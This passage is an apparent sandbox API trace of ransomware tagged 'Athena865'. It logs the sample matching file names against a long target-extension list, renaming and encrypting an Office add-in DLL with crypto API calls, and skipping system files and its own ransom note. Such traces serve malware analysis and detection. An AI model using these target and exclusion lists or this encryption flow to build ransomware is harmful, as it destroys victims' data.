lstrlenW (lpString="dbb") returned 3 [0151.468] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0151.468] lstrlenW (lpString="vmdk") returned 4 [0151.468] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0151.468] lstrlenW (lpString="rar") returned 3 [0151.468] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0151.468] lstrlenW (lpString="zip") returned 3 [0151.468] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0151.468] lstrlenW (lpString="tgz") returned 3 [0151.469] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0151.469] lstrlenW (lpString="vbox") returned 4 [0151.469] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0151.469] lstrlenW (lpString="vdi") returned 3 [0151.469] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0151.469] lstrlenW (lpString="vhd") returned 3 [0151.469] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0151.469] lstrlenW (lpString="vhdx") returned 4 [0151.469] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0151.469] lstrlenW (lpString="avhd") returned 4 [0151.469] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0151.469] lstrlenW (lpString="db") returned 2 [0151.469] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0151.469] lstrlenW (lpString="db2") returned 3 [0151.469] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0151.469] lstrlenW (lpString="db3") returned 3 [0151.469] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0151.469] lstrlenW (lpString="dbf") returned 3 [0151.469] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0151.469] lstrlenW (lpString="mdf") returned 3 [0151.469] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0151.469] lstrlenW (lpString="mdb") returned 3 [0151.469] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0151.469] lstrlenW (lpString="sql") returned 3 [0151.469] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0151.469] lstrlenW (lpString="sqlite") returned 6 [0151.469] lstrcmpiW (lpString1="in.dll", lpString2="sqlite") returned -1 [0151.469] lstrlenW (lpString="sqlite3") returned 7 [0151.469] lstrcmpiW (lpString1="din.dll", lpString2="sqlite3") returned -1 [0151.469] lstrlenW (lpString="sqlitedb") returned 8 [0151.469] lstrcmpiW (lpString1="ddin.dll", lpString2="sqlitedb") returned -1 [0151.470] lstrlenW (lpString="xml") returned 3 [0151.470] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0151.470] lstrlenW (lpString="$er") returned 3 [0151.470] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0151.470] lstrlenW (lpString="4dd") returned 3 [0151.470] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0151.470] lstrlenW (lpString="4dl") returned 3 [0151.470] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0151.470] lstrlenW (lpString="^^^") returned 3 [0151.470] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0151.470] lstrlenW (lpString="abs") returned 3 [0151.470] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0151.470] lstrlenW (lpString="abx") returned 3 [0151.470] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0151.470] lstrlenW (lpString="accdb") returned 5 [0151.470] lstrcmpiW (lpString1="n.dll", lpString2="accdb") returned 1 [0151.470] lstrlenW (lpString="accdc") returned 5 [0151.470] lstrcmpiW (lpString1="n.dll", lpString2="accdc") returned 1 [0151.470] lstrlenW (lpString="accde") returned 5 [0151.470] lstrcmpiW (lpString1="n.dll", lpString2="accde") returned 1 [0151.470] lstrlenW (lpString="accdr") returned 5 [0151.470] lstrcmpiW (lpString1="n.dll", lpString2="accdr") returned 1 [0151.470] lstrlenW (lpString="accdt") returned 5 [0151.470] lstrcmpiW (lpString1="n.dll", lpString2="accdt") returned 1 [0151.470] lstrlenW (lpString="accdw") returned 5 [0151.470] lstrcmpiW (lpString1="n.dll", lpString2="accdw") returned 1 [0151.470] lstrlenW (lpString="accft") returned 5 [0151.470] lstrcmpiW (lpString1="n.dll", lpString2="accft") returned 1 [0151.470] lstrlenW (lpString="adb") returned 3 [0151.470] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0151.471] lstrlenW (lpString="adb") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0151.471] lstrlenW (lpString="ade") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0151.471] lstrlenW (lpString="adf") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0151.471] lstrlenW (lpString="adn") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0151.471] lstrlenW (lpString="adp") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0151.471] lstrlenW (lpString="alf") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0151.471] lstrlenW (lpString="ask") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0151.471] lstrlenW (lpString="btr") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0151.471] lstrlenW (lpString="cat") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0151.471] lstrlenW (lpString="cdb") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0151.471] lstrlenW (lpString="ckp") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0151.471] lstrlenW (lpString="cma") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0151.471] lstrlenW (lpString="cpd") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0151.471] lstrlenW (lpString="dacpac") returned 6 [0151.471] lstrcmpiW (lpString1="in.dll", lpString2="dacpac") returned 1 [0151.471] lstrlenW (lpString="dad") returned 3 [0151.471] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0151.471] lstrlenW (lpString="dadiagrams") returned 10 [0151.472] lstrcmpiW (lpString1="SAddin.dll", lpString2="dadiagrams") returned 1 [0151.472] lstrlenW (lpString="daschema") returned 8 [0151.472] lstrcmpiW (lpString1="ddin.dll", lpString2="daschema") returned 1 [0151.472] lstrlenW (lpString="db-journal") returned 10 [0151.472] lstrcmpiW (lpString1="SAddin.dll", lpString2="db-journal") returned 1 [0151.472] lstrlenW (lpString="db-shm") returned 6 [0151.472] lstrcmpiW (lpString1="in.dll", lpString2="db-shm") returned 1 [0151.472] lstrlenW (lpString="db-wal") returned 6 [0151.472] lstrcmpiW (lpString1="in.dll", lpString2="db-wal") returned 1 [0151.472] lstrlenW (lpString="dbc") returned 3 [0151.472] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0151.472] lstrlenW (lpString="dbs") returned 3 [0151.472] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0151.472] lstrlenW (lpString="dbt") returned 3 [0151.472] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0151.472] lstrlenW (lpString="dbv") returned 3 [0151.472] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0151.472] lstrlenW (lpString="dbx") returned 3 [0151.472] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0151.472] lstrlenW (lpString="dcb") returned 3 [0151.472] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0151.472] lstrlenW (lpString="dct") returned 3 [0151.472] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0151.472] lstrlenW (lpString="dcx") returned 3 [0151.472] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0151.472] lstrlenW (lpString="ddl") returned 3 [0151.472] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0151.472] lstrlenW (lpString="dlis") returned 4 [0151.472] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0151.472] lstrlenW (lpString="dp1") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0151.473] lstrlenW (lpString="dqy") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0151.473] lstrlenW (lpString="dsk") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0151.473] lstrlenW (lpString="dsn") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0151.473] lstrlenW (lpString="dtsx") returned 4 [0151.473] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0151.473] lstrlenW (lpString="dxl") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0151.473] lstrlenW (lpString="eco") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0151.473] lstrlenW (lpString="ecx") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0151.473] lstrlenW (lpString="edb") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0151.473] lstrlenW (lpString="epim") returned 4 [0151.473] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0151.473] lstrlenW (lpString="fcd") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0151.473] lstrlenW (lpString="fdb") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0151.473] lstrlenW (lpString="fic") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0151.473] lstrlenW (lpString="flexolibrary") returned 12 [0151.473] lstrlenW (lpString="fm5") returned 3 [0151.473] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0151.473] lstrlenW (lpString="fmp") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0151.474] lstrlenW (lpString="fmp12") returned 5 [0151.474] lstrcmpiW (lpString1="n.dll", lpString2="fmp12") returned 1 [0151.474] lstrlenW (lpString="fmpsl") returned 5 [0151.474] lstrcmpiW (lpString1="n.dll", lpString2="fmpsl") returned 1 [0151.474] lstrlenW (lpString="fol") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0151.474] lstrlenW (lpString="fp3") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0151.474] lstrlenW (lpString="fp4") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0151.474] lstrlenW (lpString="fp5") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0151.474] lstrlenW (lpString="fp7") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0151.474] lstrlenW (lpString="fpt") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0151.474] lstrlenW (lpString="frm") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0151.474] lstrlenW (lpString="gdb") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0151.474] lstrlenW (lpString="gdb") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0151.474] lstrlenW (lpString="grdb") returned 4 [0151.474] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0151.474] lstrlenW (lpString="gwi") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0151.474] lstrlenW (lpString="hdb") returned 3 [0151.474] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0151.475] lstrlenW (lpString="his") returned 3 [0151.475] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0151.475] lstrlenW (lpString="ib") returned 2 [0151.475] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0151.475] lstrlenW (lpString="idb") returned 3 [0151.475] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0151.475] lstrlenW (lpString="ihx") returned 3 [0151.475] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0151.475] lstrlenW (lpString="itdb") returned 4 [0151.475] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0151.475] lstrlenW (lpString="itw") returned 3 [0151.475] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0151.475] lstrlenW (lpString="jet") returned 3 [0151.475] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0151.475] lstrlenW (lpString="jtx") returned 3 [0151.475] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0151.475] lstrlenW (lpString="kdb") returned 3 [0151.475] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0151.475] lstrlenW (lpString="kexi") returned 4 [0151.475] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0151.475] lstrlenW (lpString="kexic") returned 5 [0151.475] lstrcmpiW (lpString1="n.dll", lpString2="kexic") returned 1 [0151.475] lstrlenW (lpString="kexis") returned 5 [0151.475] lstrcmpiW (lpString1="n.dll", lpString2="kexis") returned 1 [0151.475] lstrlenW (lpString="lgc") returned 3 [0151.475] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0151.475] lstrlenW (lpString="lwx") returned 3 [0151.475] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0151.475] lstrlenW (lpString="maf") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0151.476] lstrlenW (lpString="maq") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0151.476] lstrlenW (lpString="mar") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0151.476] lstrlenW (lpString="marshal") returned 7 [0151.476] lstrcmpiW (lpString1="din.dll", lpString2="marshal") returned -1 [0151.476] lstrlenW (lpString="mas") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0151.476] lstrlenW (lpString="mav") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0151.476] lstrlenW (lpString="maw") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0151.476] lstrlenW (lpString="mdbhtml") returned 7 [0151.476] lstrcmpiW (lpString1="din.dll", lpString2="mdbhtml") returned -1 [0151.476] lstrlenW (lpString="mdn") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0151.476] lstrlenW (lpString="mdt") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0151.476] lstrlenW (lpString="mfd") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0151.476] lstrlenW (lpString="mpd") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0151.476] lstrlenW (lpString="mrg") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0151.476] lstrlenW (lpString="mud") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0151.476] lstrlenW (lpString="mwb") returned 3 [0151.476] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0151.476] lstrlenW (lpString="myd") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0151.477] lstrlenW (lpString="ndf") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0151.477] lstrlenW (lpString="nnt") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0151.477] lstrlenW (lpString="nrmlib") returned 6 [0151.477] lstrcmpiW (lpString1="in.dll", lpString2="nrmlib") returned -1 [0151.477] lstrlenW (lpString="ns2") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0151.477] lstrlenW (lpString="ns3") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0151.477] lstrlenW (lpString="ns4") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0151.477] lstrlenW (lpString="nsf") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0151.477] lstrlenW (lpString="nv") returned 2 [0151.477] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0151.477] lstrlenW (lpString="nv2") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0151.477] lstrlenW (lpString="nwdb") returned 4 [0151.477] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0151.477] lstrlenW (lpString="nyf") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0151.477] lstrlenW (lpString="odb") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0151.477] lstrlenW (lpString="odb") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0151.477] lstrlenW (lpString="oqy") returned 3 [0151.477] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0151.478] lstrlenW (lpString="ora") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0151.478] lstrlenW (lpString="orx") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0151.478] lstrlenW (lpString="owc") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0151.478] lstrlenW (lpString="p96") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0151.478] lstrlenW (lpString="p97") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0151.478] lstrlenW (lpString="pan") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0151.478] lstrlenW (lpString="pdb") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0151.478] lstrlenW (lpString="pdm") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0151.478] lstrlenW (lpString="pnz") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0151.478] lstrlenW (lpString="qry") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0151.478] lstrlenW (lpString="qvd") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0151.478] lstrlenW (lpString="rbf") returned 3 [0151.478] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0151.479] lstrlenW (lpString="rctd") returned 4 [0151.479] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0151.479] lstrlenW (lpString="rod") returned 3 [0151.479] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0151.479] lstrlenW (lpString="rodx") returned 4 [0151.479] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0151.479] lstrlenW (lpString="rpd") returned 3 [0151.479] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0151.479] lstrlenW (lpString="rsd") returned 3 [0151.479] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0151.479] lstrlenW (lpString="sas7bdat") returned 8 [0151.479] lstrcmpiW (lpString1="ddin.dll", lpString2="sas7bdat") returned -1 [0151.479] lstrlenW (lpString="sbf") returned 3 [0151.479] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0151.479] lstrlenW (lpString="scx") returned 3 [0151.479] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0151.479] lstrlenW (lpString="sdb") returned 3 [0151.479] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0151.479] lstrlenW (lpString="sdc") returned 3 [0151.479] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0151.479] lstrlenW (lpString="sdf") returned 3 [0151.479] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0151.479] lstrlenW (lpString="sis") returned 3 [0151.479] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0151.479] lstrlenW (lpString="spq") returned 3 [0151.479] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0151.479] lstrlenW (lpString="te") returned 2 [0151.480] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0151.480] lstrlenW (lpString="teacher") returned 7 [0151.480] lstrcmpiW (lpString1="din.dll", lpString2="teacher") returned -1 [0151.480] lstrlenW (lpString="tmd") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0151.480] lstrlenW (lpString="tps") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0151.480] lstrlenW (lpString="trc") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0151.480] lstrlenW (lpString="trc") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0151.480] lstrlenW (lpString="trm") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0151.480] lstrlenW (lpString="udb") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0151.480] lstrlenW (lpString="udl") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0151.480] lstrlenW (lpString="usr") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0151.480] lstrlenW (lpString="v12") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0151.480] lstrlenW (lpString="vis") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0151.480] lstrlenW (lpString="vpd") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0151.480] lstrlenW (lpString="vvv") returned 3 [0151.480] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0151.480] lstrlenW (lpString="wdb") returned 3 [0151.481] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0151.481] lstrlenW (lpString="wmdb") returned 4 [0151.481] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0151.481] lstrlenW (lpString="wrk") returned 3 [0151.481] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0151.481] lstrlenW (lpString="xdb") returned 3 [0151.481] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0151.481] lstrlenW (lpString="xld") returned 3 [0151.481] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0151.481] lstrlenW (lpString="xmlff") returned 5 [0151.481] lstrcmpiW (lpString1="n.dll", lpString2="xmlff") returned -1 [0151.481] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll.Athena865") returned 72 [0151.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\bcsaddin.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\bcsaddin.dll.athena865"), dwFlags=0x1) returned 1 [0151.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\bcsaddin.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.484] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=190336) returned 1 [0151.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.484] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.485] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.485] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.485] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ea80, lpName=0x0) returned 0x17c [0151.487] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ea80) returned 0x170000 [0151.497] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.497] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.497] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.498] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0151.500] CloseHandle (hObject=0x17c) returned 1 [0151.500] CloseHandle (hObject=0x154) returned 1 [0151.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.501] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4065b100, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4065b100, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ColleagueImport.dll", cAlternateFileName="COLLEA~1.DLL")) returned 1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2=".") returned 1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="..") returned 1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="windows") returned -1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="bootmgr") returned 1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="temp") returned -1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="pagefile.sys") returned -1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="boot") returned 1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="ids.txt") returned -1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="ntuser.dat") returned -1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="perflogs") returned -1 [0151.501] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2="MSBuild") returned -1 [0151.501] lstrlenW (lpString="ColleagueImport.dll") returned 19 [0151.501] lstrcpyW (in: lpString1=0x241e8ac, lpString2="ColleagueImport.dll" | out: lpString1="ColleagueImport.dll") returned="ColleagueImport.dll" [0151.502] lstrlenW (lpString="ColleagueImport.dll") returned 19 [0151.502] lstrlenW (lpString="Athena865") returned 9 [0151.502] lstrcmpiW (lpString1="mport.dll", lpString2="Athena865") returned 1 